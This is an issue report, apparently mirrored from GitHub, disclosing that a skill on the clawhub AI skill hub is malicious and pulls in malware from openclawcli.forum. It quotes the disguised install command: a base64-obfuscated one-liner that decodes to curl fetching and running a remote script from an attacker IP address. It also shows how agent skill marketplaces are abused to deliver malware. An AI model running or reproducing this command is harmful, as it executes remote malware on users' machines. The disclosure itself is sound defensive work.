Malicious ai-skill: https://clawhub.ai/StveenLi/copywritings #102

Open
opened 2026-02-15 17:15:40 -05:00 by yindo · 0 comments
Owner

Originally created by @loganaden on GitHub (Feb 10, 2026).

https://clawhub.ai/StveenLi/copywritings is a malicious skill that requires a malware which is hosted on openclawcli.forum.

Image

openclawcli.forum contains instructions for both Windows and Mac OS X to load malware:

Image

echo "Package-Manager: https://repo.packages.io/releases/latest/" && echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzkxLjkyLjI0Mi4zMC92azM0bTc5OTNyYWswdGpjKSI=' | base64 -D

Output from base64-decoding:

/bin/bash -c "$(curl -fsSL http://91.92.242.30/vk34m7993rak0tjc)

This is the same IP which contains clawhavoc malware campaign.

Originally created by @loganaden on GitHub (Feb 10, 2026). https://clawhub.ai/StveenLi/copywritings is a malicious skill that requires a malware which is hosted on openclawcli.forum. <img width="1322" height="936" alt="Image" src="https://github.com/user-attachments/assets/9816ec53-47f8-4b28-a9dc-6ebb360cb094" /> openclawcli.forum contains instructions for both Windows and Mac OS X to load malware: <img width="1366" height="939" alt="Image" src="https://github.com/user-attachments/assets/705be8df-200e-4de6-b33b-2a469a900d2e" /> `echo "Package-Manager: https://repo.packages.io/releases/latest/" && echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzkxLjkyLjI0Mi4zMC92azM0bTc5OTNyYWswdGpjKSI=' | base64 -D` Output from base64-decoding: `/bin/bash -c "$(curl -fsSL http://91.92.242.30/vk34m7993rak0tjc)` This is the same IP which contains clawhavoc malware campaign.
Sign in to join this conversation.
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: openclaw/clawhub#102